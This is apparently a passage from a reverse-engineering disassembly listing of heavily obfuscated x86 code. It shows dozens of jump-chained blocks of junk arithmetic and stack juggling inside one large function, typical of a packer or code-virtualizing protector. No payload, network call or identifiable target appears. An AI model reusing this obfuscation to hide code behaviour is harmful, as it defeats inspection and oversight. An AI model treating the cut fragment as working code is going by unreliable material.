mov [esp-6E66h+arg_6E5C+2], esp jmp loc_59651F ; --------------------------------------------------------------------------- loc_59F48A: ; CODE XREF: sub_581EE9+1A10Bj mov ecx, esp jmp loc_599D82 ; --------------------------------------------------------------------------- loc_59F491: ; CODE XREF: sub_581EE9+1A531j add edi, ebx pop ebx jmp loc_5998D1 ; --------------------------------------------------------------------------- loc_59F499: ; CODE XREF: sub_581EE9+1BD0Fj mov bh, 3 or dh, bh mov bx, word ptr [esp-6EA4h+arg_6E9A+2] add esp, 2 jmp loc_59710F ; --------------------------------------------------------------------------- loc_59F4AC: ; CODE XREF: sub_581EE9+13DE5j mov [ebx], ecx pop ecx jmp loc_59D84E ; --------------------------------------------------------------------------- loc_59F4B4: ; CODE XREF: sub_581EE9+1F0E3j sub ebp, 3007679Ah xor eax, ebp pop ebp add eax, 0FFFFFFFFh or eax, 15955BF5h add eax, 54D43045h jmp loc_5A1D21 ; --------------------------------------------------------------------------- loc_59F4CF: ; CODE XREF: sub_581EE9+20B55j push edx mov dx, 7556h xor dx, 3856h jmp loc_5A441A ; --------------------------------------------------------------------------- loc_59F4DE: ; CODE XREF: sub_581EE9+13A6Fj mov [esp-6EA2h+arg_6E9A], eax push [esp-6EA2h+arg_6E9A] pop edx push esi push 578h mov [esp-6E9Ah+arg_6E92], esp push ebx mov ebx, 4 jmp loc_5A05C2 ; --------------------------------------------------------------------------- loc_59F4F9: ; CODE XREF: sub_581EE9+1C416j mov ax, word ptr [esp-6EA8h+arg_6E9E+2] push eax jmp loc_5A2BC1 ; --------------------------------------------------------------------------- loc_59F503: ; CODE XREF: sub_581EE9+17D49j shr edx, 6 sub edx, 0D255319Ah sub ebx, edx pop edx push dword ptr [esp-6EAAh+arg_6EA2] pop ecx push edx mov edx, esp jmp loc_59B9EF ; --------------------------------------------------------------------------- loc_59F51B: ; CODE XREF: sub_581EE9+1B7EEj mov [esp-6EA6h+arg_6E9E], esp push edi jmp loc_59CBCC ; --------------------------------------------------------------------------- loc_59F524: ; CODE XREF: sub_581EE9+117B8j sub al, 0A1h pop dx push 101Eh mov [esp-6E8Ah+arg_6E80+2], ecx push eax jmp loc_596A65 ; --------------------------------------------------------------------------- loc_59F536: ; CODE XREF: sub_581EE9+229C9j push esp pop esi push 79Ch mov [esp], ebx mov ebx, 0A122A2Bh sub ebx, 0A122A27h add esi, 7A487E6Bh add esi, 6684477h add esi, ebx jmp loc_597468 ; --------------------------------------------------------------------------- loc_59F55E: ; CODE XREF: sub_581EE9+22F2Fj mov ebp, 645ED558h xor eax, ebp push dword ptr [esp-6E82h+arg_6E7A] pop ebp push edx mov edx, esp add edx, 4 add edx, 4 jmp loc_59AAAA ; --------------------------------------------------------------------------- loc_59F57D: ; CODE XREF: sub_581EE9+1C083j pop edx jmp loc_5A12EC ; --------------------------------------------------------------------------- loc_59F583: ; CODE XREF: sub_581EE9+209BCj xor ecx, 9943D5EDh jmp loc_59A046 ; --------------------------------------------------------------------------- loc_59F58E: ; CODE XREF: sub_581EE9+10FC2j xor eax, [esp-6E6Eh+arg_6E64+2] mov esp, [esp-6E6Eh+arg_6E64+2] mov [esp-6E6Eh+arg_6E64+2], esi jmp loc_59D6D1 ; --------------------------------------------------------------------------- loc_59F59C: ; CODE XREF: sub_581EE9+23AA8j push 25425C1Ah pop ecx jmp loc_59ED9D ; --------------------------------------------------------------------------- loc_59F5A7: ; CODE XREF: sub_581EE9+10D55j sub esp, 4 mov [esp-6E7Ah+arg_6E72], edx push esp pop edx push ebp jmp loc_59A6C0 ; --------------------------------------------------------------------------- loc_59F5B5: ; CODE XREF: sub_581EE9+20F09j mov [esp-6E76h+arg_6E6E], esi mov esi, 25B751AEh shr esi, 5 push ecx mov ecx, 7832684h xor esi, ecx jmp loc_59FF92 ; --------------------------------------------------------------------------- loc_59F5CD: ; CODE XREF: sub_581EE9+11E74j xchg ecx, esi shl esi, 1 jmp loc_59DA7B ; --------------------------------------------------------------------------- loc_59F5D6: ; CODE XREF: sub_581EE9+1DA54j push 7701h push esp jmp loc_5929B7 ; --------------------------------------------------------------------------- loc_59F5E1: ; CODE XREF: sub_581EE9+179D6j sub eax, 2D7C0221h sub eax, esi add eax, 2D7C0221h jmp loc_595BFA ; --------------------------------------------------------------------------- loc_59F5F2: ; CODE XREF: sub_581EE9+19840j add esi, 4C304C4Ah add esi, 3911221Dh sub esi, 2B8D5B09h mov ebp, [esp-6E72h+arg_6E68+2] push ebx push esp pop ebx push eax mov eax, 58452419h shr eax, 2 jmp loc_59D6B0 ; --------------------------------------------------------------------------- loc_59F618: ; CODE XREF: sub_581EE9+201DBj mov ecx, [esp-6E6Ah+arg_6E60+2] jmp loc_59870B ; --------------------------------------------------------------------------- loc_59F620: ; CODE XREF: sub_581EE9+12956j push eax mov eax, 77CA6025h jmp loc_59ABA2 ; --------------------------------------------------------------------------- loc_59F62B: ; CODE XREF: sub_581EE9+182FDj pop ebx add eax, 5954A73h shr eax, 3 add eax, 5BB31DD7h or eax, 33450EBAh not eax push 6FEh mov [esp-6E7Ah+arg_6E72], ecx mov ecx, 0DA21FF93h add eax, ecx mov ecx, [esp-6E7Ah+arg_6E72] add esp, 4 sub edx, 49B802BAh sub edx, eax add edx, 49B802BAh jmp loc_59562E ; --------------------------------------------------------------------------- loc_59F668: ; CODE XREF: sub_581EE9+10A13j sub cl, 0FFh shl cl, 7 push ebx mov bl, 0E4h shr bl, 1 and bl, 0E1h jmp loc_597E09 ; --------------------------------------------------------------------------- loc_59F67B: ; CODE XREF: sub_581EE9+190A8j mov edx, 46012B8Ch jmp loc_59BCC0 ; --------------------------------------------------------------------------- loc_59F685: ; CODE XREF: sub_581EE9+12C22j push esi jmp loc_596C7F ; --------------------------------------------------------------------------- loc_59F68B: ; CODE XREF: sub_581EE9+203B6j add edx, edi pop edi add edx, 4 xor edx, [esp-6E68h+arg_6E60] xor [esp-6E68h+arg_6E60], edx jmp loc_595C1D ; --------------------------------------------------------------------------- loc_59F69F: ; CODE XREF: sub_581EE9+10D8Dj xor eax, 38805105h jmp loc_59B583 ; --------------------------------------------------------------------------- loc_59F6A9: ; CODE XREF: sub_581EE9+1DE97j sub ebp, 48423841h push 20A8h jmp loc_594BB8 ; --------------------------------------------------------------------------- loc_59F6B9: ; CODE XREF: sub_581EE9+2099Cj push edx mov edx, 29403BBCh jmp loc_59972A ; --------------------------------------------------------------------------- loc_59F6C4: ; CODE XREF: sub_581EE9+1770Fj shr edi, 1 dec edi xchg esi, edi neg esi xchg esi, edi jmp loc_594183 ; --------------------------------------------------------------------------- push small word ptr [edx] jmp loc_591F70 ; --------------------------------------------------------------------------- loc_59F6DA: ; CODE XREF: sub_581EE9+1FDBBj push eax mov eax, 24D67360h sub eax, 1 sub esp, 4 jmp loc_59E89E ; --------------------------------------------------------------------------- loc_59F6ED: ; CODE XREF: sub_581EE9+2124Aj mov edi, 796A114Bh jmp loc_59D25D ; --------------------------------------------------------------------------- loc_59F6F7: ; CODE XREF: sub_581EE9+1E03Dj push edx jmp loc_59BF09 ; --------------------------------------------------------------------------- push dword ptr [esp] pop eax push edi jmp loc_5A431C ; --------------------------------------------------------------------------- push 65ECh jmp loc_59DBBA ; --------------------------------------------------------------------------- loc_59F711: ; CODE XREF: sub_581EE9+1D963j add edx, esi pop esi xchg edx, [esp-6E6Ch+arg_6E64] pop esp push [esp-6E70h+arg_6E68] jmp loc_59EC78 ; --------------------------------------------------------------------------- loc_59F720: ; CODE XREF: sub_581EE9+170DEj inc edi shr edi, 6 push eax push ecx push 4C2D1800h pop ecx neg ecx xor ecx, 0C6B3B9E7h mov eax, ecx pop ecx sub edi, 146601F8h sub edi, eax add edi, 146601F8h pop eax sub edi, 10C07937h jmp loc_59BFBD ; --------------------------------------------------------------------------- mov ax, fs:[edx] push small 2FABh mov word ptr [esp-6ED2h+arg_6ECA], ax jmp loc_5A2D45 ; --------------------------------------------------------------------------- loc_59F762: ; CODE XREF: sub_581EE9+1BBB4j mov ecx, 660A7F88h jmp loc_59C22B ; --------------------------------------------------------------------------- loc_59F76C: ; CODE XREF: sub_581EE9+1843Bj shl edx, 5 jmp loc_5A4414 ; --------------------------------------------------------------------------- loc_59F774: ; CODE XREF: sub_581EE9+195DDj sub esp, 4 mov [esp-6E9Ah+arg_6E92], ebx mov ebx, 1E8C58CBh sub eax, 3A1F35DAh sub eax, ebx add eax, 3A1F35DAh mov ebx, [esp-6E9Ah+arg_6E92] push 1E0Eh mov [esp-6E96h+arg_6E8E], eax jmp loc_59E3BC ; --------------------------------------------------------------------------- loc_59F79B: ; CODE XREF: sub_581EE9+13F44j add [esp+4], eax sub dword ptr [esp+4], 7EA76790h pop eax mov esi, [esp+0] jmp loc_5A15FA ; --------------------------------------------------------------------------- loc_59F7B0: ; CODE XREF: sub_581EE9+21857j push 2 pop edx add edi, edx mov edx, [esp+0] add esp, 4 jmp loc_5A46BA ; --------------------------------------------------------------------------- loc_59F7C3: ; CODE XREF: sub_581EE9+239D1j pop [esp-6E94h+arg_6E8A+2] jmp loc_5A5378 ; --------------------------------------------------------------------------- loc_59F7CB: ; CODE XREF: sub_581EE9+12FD8j add edi, 4 xor edi, [esp-6E7Eh+arg_6E76] xor [esp-6E7Eh+arg_6E76], edi xor edi, [esp-6E7Eh+arg_6E76] pop esp push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp-6E7Eh+arg_6E76] mov esp, [esp-6E7Eh+arg_6E76] mov [esp-6E7Eh+arg_6E76], edi mov edi, 4C56554h jmp loc_59F2F3 ; --------------------------------------------------------------------------- loc_59F7FA: ; CODE XREF: sub_581EE9+1A62Bj and al, bl pop ebx shl al, 4 add al, 0A6h mov dh, al pop eax push ax mov al, 0D2h xor dh, al pop ax shr dh, 1 and dh, 7Eh and dh, 91h sub dh, 7Dh add dh, 0B0h xor cl, dh mov edx, [esp-6E8Eh+arg_6E84+2] add esp, 4 xor al, cl push [esp-6E92h+arg_6E8A] jmp loc_59B930 ; --------------------------------------------------------------------------- loc_59F82D: ; CODE XREF: sub_581EE9+24150j sub edx, 4F2518DFh mov esi, [esp-6E8Eh+arg_6E84+2] add esp, 4 xor edx, [esp-6E92h+arg_6E8A] xor [esp-6E92h+arg_6E8A], edx jmp loc_59BC99 ; --------------------------------------------------------------------------- loc_59F847: ; CODE XREF: sub_581EE9+1CA9Cj mov esi, 4 jmp loc_59F711 ; --------------------------------------------------------------------------- loc_59F851: ; CODE XREF: sub_581EE9+1F5C7j xor edx, [esp+0] mov esp, [esp+0] xor dh, bl pop ebx sub al, dh pop edx xor bl, al movzx eax, al push small 7357h mov word ptr [esp-6E50h+arg_6E48], ax jmp loc_591F70 ; --------------------------------------------------------------------------- loc_59F86F: ; CODE XREF: sub_581EE9+10B28j mov [esp-6E9Eh+arg_6E96], eax push ebx jmp loc_5A3D2E ; --------------------------------------------------------------------------- loc_59F878: ; CODE XREF: sub_581EE9+180FFj xor ecx, 0E48D7374h sub ebp, ecx pop ecx xor esi, ebp pop ebp dec esi neg esi xor esi, 86856E33h and eax, esi push dword ptr [esp+0] pop esi add esp, 4 shr eax, 0Ch xor eax, ecx sub esp, 4 mov [esp+0], eax push ecx push dword ptr [esp+4] pop ecx pop [esp-6E46h+arg_6E3E] not ecx jmp loc_59B91E ; --------------------------------------------------------------------------- loc_59F8B4: ; CODE XREF: sub_581EE9+1B9C3j push ebp mov ebp, 225E0459h and ebp, 619A7422h xor ebp, 33B22919h and ecx, ebp pop ebp shl ecx, 6 xor ecx, 220A4644h add edx, ecx pop ecx add edx, 4 xchg edx, [esp-6EA2h+arg_6E9A] pop esp push 1373h mov [esp-6EA2h+arg_6E9A], ebx push [esp-6EA2h+arg_6E9E] mov ebx, [esp-6E9Eh+arg_6E96] jmp loc_5A40BE ; --------------------------------------------------------------------------- loc_59F8F3: ; CODE XREF: sub_581EE9+20DB4j pop ebp push esi push edx mov edx, 7A76539Ah jmp loc_59AC2A ; --------------------------------------------------------------------------- loc_59F900: ; CODE XREF: sub_581EE9+1FB38j push [esp-6E9Ah+arg_6E92] jmp loc_5A5B36 ; --------------------------------------------------------------------------- loc_59F908: ; CODE XREF: sub_581EE9+1FAF3j mov esi, 4 add eax, 0B060833h add eax, esi jmp loc_59DAE9 ; --------------------------------------------------------------------------- loc_59F919: ; CODE XREF: sub_581EE9+14080j mov eax, 6DBE4BC8h push eax pop edi pop eax xor eax, edi pop edi add edi, eax mov eax, [esp-6E52h+arg_6E48+2] push edx mov edx, esp push ebx jmp loc_59F170 ; --------------------------------------------------------------------------- loc_59F932: ; CODE XREF: sub_581EE9+15CA0j xor eax, 14C94B37h sub esp, 4 mov [esp-6E9Ch+arg_6E92+2], eax jmp loc_59F5D6 ; --------------------------------------------------------------------------- loc_59F942: ; CODE XREF: sub_581EE9+10BAAj push ecx mov ecx, 703944B3h xor ecx, 610D2CDCh jmp loc_59E611 ; --------------------------------------------------------------------------- loc_59F953: ; CODE XREF: sub_581EE9+1C8BBj xor ecx, [esp-6E7Ah+arg_6E72] xor [esp-6E7Ah+arg_6E72], ecx jmp loc_596FAC ; --------------------------------------------------------------------------- loc_59F95E: ; CODE XREF: sub_581EE9+1492Aj add eax, 3E9B6C8Bh sub eax, 31A57DF6h xor eax, 70F414D7h jmp loc_5943B5 ; --------------------------------------------------------------------------- loc_59F972: ; CODE XREF: sub_581EE9+24913j xor eax, 107D843Eh sub ebx, eax pop eax jmp loc_5A4CA9 ; --------------------------------------------------------------------------- loc_59F97F: ; CODE XREF: sub_581EE9+19096j pop ebx jmp loc_59BAFC ; --------------------------------------------------------------------------- loc_59F985: ; CODE XREF: sub_581EE9+185F8j pop edx pop ecx push ecx mov ch, 0 sub ch, 9Ah jmp loc_593943 ; --------------------------------------------------------------------------- loc_59F992: ; CODE XREF: sub_581EE9+1F428j sub ebp, 66BE342Dh add ebp, eax add ebp, 66BE342Dh jmp loc_59E423 ; --------------------------------------------------------------------------- loc_59F9A5: ; CODE XREF: sub_581EE9+234A6j xor ecx, 0C0F396Fh push 5D17h mov [esp+0], ebp mov ebp, 0B11BF1h sub [esp-6E4Ah+arg_6E48+2], ebp mov ebp, [esp+0] push edi mov edi, esp jmp loc_59AE94 ; --------------------------------------------------------------------------- loc_59F9C7: ; CODE XREF: sub_581EE9+21A09j pop esi add esp, 4 add esi, 4 push edx jmp loc_594C0B ; --------------------------------------------------------------------------- loc_59F9D7: ; CODE XREF: sub_581EE9+21BFAj push dword ptr [esp+0] pop esi push 0D5Bh jmp loc_5A0D07 ; --------------------------------------------------------------------------- loc_59F9E5: ; CODE XREF: sub_581EE9+16D94j push edi push edx jmp loc_596866 ; --------------------------------------------------------------------------- loc_59F9EC: ; CODE XREF: sub_581EE9+16FD9j mov edi, esp push eax mov eax, 32524334h dec eax jmp loc_599678 ; --------------------------------------------------------------------------- loc_59F9FA: ; CODE XREF: sub_581EE9+1F6F2j mov edx, 2 jmp loc_595626 ; --------------------------------------------------------------------------- loc_59FA04: ; CODE XREF: sub_581EE9+12930j push bx mov bl, 0DAh add cl, bl pop bx xor cl, 17h sub dh, cl mov ecx, [esp-6E52h+arg_6E48+2] add esp, 4 add dh, 57h push eax mov al, 0F0h sub al, 0EBh inc al shl al, 4 shr al, 2 sub al, 0C6h or dh, al pop eax push ecx mov ecx, esp add ecx, 4 jmp loc_599334 ; --------------------------------------------------------------------------- loc_59FA3A: ; CODE XREF: sub_581EE9+108B0j or ebp, 167722B4h jmp loc_5994FC ; --------------------------------------------------------------------------- loc_59FA45: ; CODE XREF: sub_581EE9+13766j mov [esp-6E62h+arg_6E58+2], ebp sub esp, 4 push esp pop [esp-6E5Ah+arg_6E50+2] jmp loc_5941BB ; --------------------------------------------------------------------------- loc_59FA54: ; CODE XREF: sub_581EE9+12484j mov ebp, 2A58309Bh jmp loc_5A0589 ; --------------------------------------------------------------------------- loc_59FA5E: ; CODE XREF: sub_581EE9+1A441j or edx, 48A43172h jmp loc_5A5C6E ; --------------------------------------------------------------------------- loc_59FA69: ; CODE XREF: sub_581EE9+1E36Fj mov edi, [esp-6E7Ah+arg_6E72] add esp, 4 push 144Bh mov [esp-6E7Ah+arg_6E72], edx push ebp push 3DF6390Eh pop ebp add ebp, 0E475D0E2h mov edx, ebp pop ebp jmp loc_5A07CD ; --------------------------------------------------------------------------- loc_59FA8F: ; CODE XREF: sub_581EE9+17ACDj mov ebx, [esp-6E56h+arg_6E4C+2] add esp, 4 push edx push esp jmp loc_59BC7E ; --------------------------------------------------------------------------- push 4ECFh mov [esp-6E4Eh+arg_6E44+2], eax mov eax, esp push edx jmp loc_598B0B ; --------------------------------------------------------------------------- loc_59FAAC: ; CODE XREF: sub_581EE9+1158Bj jmp loc_591F70 ; --------------------------------------------------------------------------- loc_59FAB1: ; CODE XREF: sub_581EE9+10470j add ch, 93h jmp loc_5A4698 ; --------------------------------------------------------------------------- loc_59FAB9: ; CODE XREF: sub_581EE9+2193Ej pop ecx and ecx, 0D41663Ch jmp loc_59A2F6 ; --------------------------------------------------------------------------- loc_59FAC5: ; CODE XREF: sub_581EE9+127D3j add ebp, 0DC116461h mov ecx, ebp pop ebp and ecx, 5F9C56C7h push edi mov edi, 0E4761373h sub ecx, edi mov edi, [esp-6EA4h+arg_6E9A+2] add esp, 4 sub ebp, ecx pop ecx push edx mov edx, 32FE2EE5h sub ebp, edx pop edx add ebp, edx add ebp, 32FE2EE5h push eax mov eax, 53C50E74h sub eax, 50DB1C30h jmp loc_59EE8F ; --------------------------------------------------------------------------- loc_59FB06: ; CODE XREF: sub_581EE9+140DBj xchg ebp, [esp-6E68h+arg_6E60] pop esp xchg edx, [esp-6E6Ch+arg_6E64] jmp loc_59BA3E ; --------------------------------------------------------------------------- loc_59FB12: ; CODE XREF: sub_581EE9+15E14j pop edi jmp loc_59BA5D ; --------------------------------------------------------------------------- loc_59FB18: ; CODE XREF: sub_581EE9+226D6j push edi sub esp, 4 mov [esp-6EB6h+arg_6EAC+2], edx push ebx push eax push 490E02F1h pop eax neg eax shr eax, 3 xor eax, 4C962DCFh jmp loc_59E768 ; --------------------------------------------------------------------------- loc_59FB39: ; CODE XREF: sub_581EE9+2469Bj pop edx push 1690h jmp loc_5A04B7 ; --------------------------------------------------------------------------- loc_59FB44: ; CODE XREF: sub_581EE9+19471j xchg edi, [esp-6EA8h+arg_6E9E+2] mov esp, [esp-6EA8h+arg_6E9E+2] jmp loc_591F70 ; --------------------------------------------------------------------------- loc_59FB4F: ; CODE XREF: sub_581EE9+16833j mov ecx, 342C1F1Eh add ecx, 7EE3C56h jmp loc_5A716D ; --------------------------------------------------------------------------- loc_59FB5F: ; CODE XREF: sub_581EE9+206ACj or edi, 15165FC4h jmp loc_5A1A9C ; --------------------------------------------------------------------------- loc_59FB6A: ; CODE XREF: sub_581EE9+1F87Bj pop esi add [esp-6E78h+arg_6E72+2], edi add [esp-6E78h+arg_6E72+2], 2597091Eh pop edi jmp loc_591F70 ; --------------------------------------------------------------------------- loc_59FB7D: ; CODE XREF: sub_581EE9+1520Aj inc ecx xor ecx, 243C06F8h add ecx, 35F2E675h sub ebx, ecx mov ecx, [esp-6E7Ch+arg_6E72+2] add esp, 4 jmp loc_59D78E ; --------------------------------------------------------------------------- loc_59FB9A: ; CODE XREF: sub_581EE9+2448Fj push ebx mov ebx, 459E5FC2h add ebx, 1C09B678h add ecx, ebx pop ebx push ebx mov ebx, 43D706E9h add ecx, ebx pop ebx jmp loc_593109 ; --------------------------------------------------------------------------- loc_59FBB7: ; CODE XREF: sub_581EE9+1EECAj add ebp, 0DEB8BDE9h sub ecx, ebp pop ebp push ecx push [esp-6E80h+arg_6E7C] pop ecx pop [esp-6E80h+arg_6E76+2] pop esp mov [esp-6E88h+arg_6E80], ebx push 11A1h mov [esp-6E84h+arg_6E7C], ecx push 36DE4AA7h jmp loc_5A5412 ; --------------------------------------------------------------------------- loc_59FBDF: ; CODE XREF: sub_581EE9+186F4j mov [esp-6E7Eh+arg_6E76], ecx push ebp push 38A6h mov [esp-6E76h+arg_6E6E], eax push esi jmp loc_5A1E10 ; --------------------------------------------------------------------------- loc_59FBF1: ; CODE XREF: sub_581EE9+1C0D6j add ecx, 5CCD2265h pop ebp add ecx, ebx sub esp, 4 jmp loc_5A4E4D ; --------------------------------------------------------------------------- loc_59FC05: ; CODE XREF: sub_581EE9+23524j xor [esp-6EA4h+arg_6E9A+2], esi jmp loc_59A4EC ; --------------------------------------------------------------------------- loc_59FC0D: ; CODE XREF: sub_581EE9+23D41j pop esi push esi mov esi, 266B7103h xor esi, 59945855h add esi, 1 push ebp mov ebp, 0F2A65394h add esi, ebp pop ebp add edi, 1C8403BFh add edi, esi sub edi, 1C8403BFh mov esi, [esp-6EA4h+arg_6E9A+2] push edx jmp loc_5A0721 ; --------------------------------------------------------------------------- loc_59FC40: ; CODE XREF: sub_581EE9+2368Fj mov esi, esp push ecx push esp pop ecx add ecx, 4 sub ecx, 4 xchg ecx, [esp-6E9Ch+arg_6E92+2] jmp loc_59F36F ; --------------------------------------------------------------------------- loc_59FC59: ; CODE XREF: sub_581EE9+11905j add esp, 4 sub esp, 4 mov [esp-6EA4h+arg_6E9A+2], esi mov esi, 4 add ebp, esi push [esp-6EA4h+arg_6E9A+2] jmp loc_5A256D ; --------------------------------------------------------------------------- loc_59FC74: ; CODE XREF: sub_581EE9+1395Fj mov [esp-6E8Eh+arg_6E84+2], ebx jmp loc_597159 ; --------------------------------------------------------------------------- loc_59FC7C: ; CODE XREF: sub_581EE9+1B0D9j push ebx jmp loc_5A13E9 ; --------------------------------------------------------------------------- loc_59FC82: ; CODE XREF: sub_581EE9+20B92j add [esp-6E8Eh+arg_6E8A], 2EE70BEDh add [esp-6E8Eh+arg_6E8A], ebx sub [esp-6E8Eh+arg_6E8A], 2EE70BEDh push ecx jmp loc_59FE48 ; --------------------------------------------------------------------------- loc_59FC9C: ; CODE XREF: sub_581EE9+1CC47j push [esp-6E88h+arg_6E80] mov ebx, [esp-6E84h+arg_6E7C] push edx jmp loc_5A0004 ; --------------------------------------------------------------------------- loc_59FCA8: ; CODE XREF: sub_581EE9+224BDj add ebx, 4 add ebx, 4 xchg ebx, [esp-6E80h+arg_6E76+2] pop esp add edx, 4ACD6A81h mov edi, edx mov edx, [esp-6E84h+arg_6E7C] push ecx mov ecx, esp push edi push eax mov eax, 0A496968h shl eax, 1 shl eax, 5 sub eax, 925A59FCh jmp loc_593560 ; --------------------------------------------------------------------------- loc_59FCD9: ; CODE XREF: sub_581EE9+13841j pop ebp add ecx, 1 not ecx shr ecx, 7 jmp loc_599DF7 ; --------------------------------------------------------------------------- loc_59FCE7: ; CODE XREF: sub_581EE9+2237Bj mov edx, 14BD37A1h sub [esp-6E52h+arg_6E4C+2], edx jmp loc_599D46 ; --------------------------------------------------------------------------- loc_59FCF5: ; CODE XREF: sub_581EE9+19F54j mov edx, [esp-6E7Ah+arg_6E72] add esp, 4 push eax push 0C21h mov [esp-6E76h+arg_6E6E], esp push esi mov esi, 4 jmp loc_59235E ; --------------------------------------------------------------------------- loc_59FD12: ; CODE XREF: sub_581EE9+1138Bj pop esi jmp loc_599252 ; --------------------------------------------------------------------------- loc_59FD18: ; CODE XREF: sub_581EE9+1E98Dj or ebp, 426E4D09h xor ebp, 6266C4C5h add edi, ebp pop ebp sub edi, 22325A4Dh pop ebx xor eax, edi push [esp-6EB0h+arg_6EA8] jmp loc_59D83F ; --------------------------------------------------------------------------- loc_59FD38: ; CODE XREF: sub_581EE9+172F4j xor esi, ebx pop ebx sub ecx, 6B8610C9h add ecx, 7C746E68h add ecx, esi push ebp push edx mov edx, 57081E00h mov ebp, edx mov edx, [esp-6EA0h+arg_6E96+2] add esp, 4 jmp loc_593F87 ; --------------------------------------------------------------------------- loc_59FD60: ; CODE XREF: sub_581EE9+21D09j mov edx, 2 sub esp, 4 mov [esp-6EA0h+arg_6E96+2], ebx mov ebx, 2DBD6FB6h push ebx inc [esp-6E9Ch+arg_6E92+2] jmp loc_593833 ; --------------------------------------------------------------------------- loc_59FD7C: ; CODE XREF: sub_581EE9+175F0j xchg ebx, [esp-6E70h+arg_6E68] pop esp jmp loc_59F6A9 ; --------------------------------------------------------------------------- loc_59FD85: ; CODE XREF: sub_581EE9+111D1j pop edi sub ebp, edx push ecx mov ecx, 47D976EFh sub ebp, ecx jmp loc_59C42D ; --------------------------------------------------------------------------- loc_59FD95: ; CODE XREF: sub_581EE9+161ECj pop eax add eax, 1 shl eax, 1 not eax add eax, 34C26FD6h mov edx, eax mov eax, [esp-6EA4h+arg_6E9A+2] add esp, 4 jmp loc_593C47 ; --------------------------------------------------------------------------- loc_59FDB2: ; CODE XREF: sub_581EE9+159B5j add esi, edx pop edx jmp loc_59AD68 ; --------------------------------------------------------------------------- loc_59FDBA: ; CODE XREF: sub_581EE9+1268Bj mov [esp-6E8Ch+arg_6E84], ecx jmp loc_59C803 ; --------------------------------------------------------------------------- loc_59FDC2: ; CODE XREF: sub_581EE9+245ABj pop [esp-6E8Ch+arg_6E84] pop esp push ecx mov ecx, esp jmp loc_59DF59 ; --------------------------------------------------------------------------- loc_59FDCE: ; CODE XREF: sub_581EE9+1EA90j add ebx, edi pop edi xchg ebx, [esp-6E94h+arg_6E8A+2] pop esp xor byte ptr [esp-6E98h+arg_6E8E+2], al pushf jmp loc_591F70 ; --------------------------------------------------------------------------- loc_59FDDE: ; CODE XREF: sub_581EE9+1EF3Aj add edi, 1B967FB5h add edi, 2A1A2193h or edi, 476D2E08h shr edi, 3 sub edi, 52B1F42Fh sub ebx, edi pop edi push edi jmp loc_59B067 ; --------------------------------------------------------------------------- loc_59FE02: ; CODE XREF: sub_581EE9+22135j sub edi, 553A39A6h pop ebp push [esp-6E98h+arg_6E8E+2] mov ebp, [esp-6E94h+arg_6E8A+2] add esp, 4 add esp, 4 jmp loc_599EED ; --------------------------------------------------------------------------- loc_59FE1D: ; CODE XREF: sub_581EE9+1BB2Fj pop edx push ebx pop edx pop ebx xchg edi, edx neg edi xchg edi, edx push 172Ah jmp loc_5A0AAE ; --------------------------------------------------------------------------- loc_59FE31: ; CODE XREF: sub_581EE9+251BBj pop ebx push ebp mov ebp, esp jmp loc_595EF2 ; --------------------------------------------------------------------------- loc_59FE3A: ; CODE XREF: sub_581EE9+16FC0j mov esi, 3F0E2075h add ecx, esi pop esi pop edi jmp loc_5A1D13 ; --------------------------------------------------------------------------- loc_59FE48: ; CODE XREF: sub_581EE9+1DDAEj mov ecx, 0B130BEh sub [esp-6E8Ah+arg_6E8A], ecx pop ecx add [esp-6E8Eh+arg_6E8A], 24794BEBh jmp loc_59675A ; --------------------------------------------------------------------------- loc_59FE5F: ; CODE XREF: sub_581EE9+24FBDj shl esi, 5 jmp loc_5A184F ; --------------------------------------------------------------------------- loc_59FE67: ; CODE XREF: sub_581EE9+1AF4Aj push edx jmp loc_595A62 ; --------------------------------------------------------------------------- loc_59FE6D: ; CODE XREF: sub_581EE9+24469j push edx mov dl, 97h push bx mov bh, 6Ah sub dl, 0B2h add dl, bh add dl, 0B2h jmp loc_59A3AC ; --------------------------------------------------------------------------- loc_59FE81: ; CODE XREF: sub_581EE9+168F1j mov [esp-6E98h+arg_6E8E+2], ecx mov ecx, 5CE70877h shl ecx, 1 and ecx, 61433B96h inc ecx and ecx, 58486D61h push edx mov edx, esp add edx, 4 sub edx, 4 jmp loc_5A1646 ; --------------------------------------------------------------------------- loc_59FEA9: ; CODE XREF: sub_581EE9+233B9j sub edi, 7FB73794h jmp loc_59C186 ; --------------------------------------------------------------------------- loc_59FEB4: ; CODE XREF: sub_581EE9+133CDj sub bl, 9Ch sub bl, 0D3h movzx eax, al lea eax, [edi+eax*4] push 415Ah mov [esp-6EA4h+arg_6E9A+2], eax jmp loc_591F70 ; --------------------------------------------------------------------------- loc_59FECD: ; CODE XREF: sub_581EE9+24002j sub edi, 0BED03C7Ch mov ecx, edi pop edi add ecx, 4F080C0Bh jmp loc_59A33A ; --------------------------------------------------------------------------- loc_59FEE1: ; CODE XREF: sub_581EE9+1205Cj mov esp, [esp-6EACh+arg_6EA4] shr word ptr [esp-6EACh+arg_6EA4], cl pushf jmp loc_591F70 ; --------------------------------------------------------------------------- loc_59FEEE: ; CODE XREF: sub_581EE9+20B73j mov esp, [esp-6EA8h+arg_6E9E+2] jmp loc_59C566 ; --------------------------------------------------------------------------- loc_59FEF6: ; CODE XREF: sub_581EE9+1CB1Dj add ebp, 4 push ecx jmp loc_59B72E ; --------------------------------------------------------------------------- loc_59FF02: ; CODE XREF: sub_581EE9+1B13Fj push ebp mov ebp, 1AFC5B8Ah or ebp, 298F52F9h sub ebp, 883B7CBCh xor ecx, ebp pop ebp inc ecx push eax mov eax, 5A196887h jmp loc_59E730 ; --------------------------------------------------------------------------- loc_59FF23: ; CODE XREF: sub_581EE9+1430Fj add esp, 4 jmp loc_59F6F7 ; --------------------------------------------------------------------------- loc_59FF2B: ; CODE XREF: sub_581EE9+13AEEj pop esp push eax mov eax, esp add eax, 4 push ecx mov ecx, 38D0015Bh shl ecx, 6 xor ecx, 340056C4h jmp loc_597407 ; --------------------------------------------------------------------------- loc_59FF48: ; CODE XREF: sub_581EE9+230C0j add eax, 9C7D2E9Dh sub ebp, eax pop eax sub ebp, 6C0C00B4h jmp loc_597996 ; --------------------------------------------------------------------------- loc_59FF5B: ; CODE XREF: sub_581EE9+18DCAj sub edx, 1C7D486Dh sub edi, edx pop edx jmp loc_596A26 ; --------------------------------------------------------------------------- loc_59FF69: ; CODE XREF: sub_581EE9+156CAj xor dl, 1Dh add al, dl jmp loc_5A34E9 ; --------------------------------------------------------------------------- loc_59FF73: ; CODE XREF: sub_581EE9+1B60Bj mov ecx, [esp-6E46h+arg_6E3E] push ecx 